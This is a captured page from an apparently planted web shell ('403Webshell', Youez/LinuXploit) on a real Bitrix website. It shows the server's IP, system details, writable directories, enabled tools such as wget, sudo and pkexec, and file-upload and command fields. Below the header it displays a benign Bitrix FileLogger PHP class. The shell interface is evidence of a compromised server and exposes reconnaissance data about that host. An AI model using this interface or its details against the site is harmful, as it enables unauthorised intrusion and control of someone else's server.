403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/diag/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/diag/filelogger.php
<?php

/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2025 Bitrix
 */

namespace Bitrix\Main\Diag;

class FileLogger extends Logger
{
	protected $fileName;
	protected $maxSize = 1048576;

	/**
	 * @param string $fileName Absulute path.
	 * @param int|null $maxSize Maximum size of the log file.
	 */
	public function __construct(string $fileName, int $maxSize = null)
	{
		$this->fileName = $fileName;

		if ($maxSize !== null)
		{
			$this->maxSize = $maxSize;
		}
	}

	protected function logMessage(string $level, string $message)
	{
		$current = ignore_user_abort(true);

		if ($fp = fopen($this->fileName, 'ab'))
		{
			if (flock($fp, LOCK_EX))
			{
				if ($this->maxSize > 0)
				{
					// need it for filesize()
					clearstatcache();
					$logSize = filesize($this->fileName);

					if ($logSize > $this->maxSize)
					{
						$this->rotateLog();
						ftruncate($fp, 0);
					}
				}

				fwrite($fp, $message);
				fflush($fp);
				flock($fp, LOCK_UN);
			}
			fclose($fp);
		}

		ignore_user_abort($current);
	}

	protected function rotateLog()
	{
		$historyName = $this->fileName . '.old';

		copy($this->fileName, $historyName);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit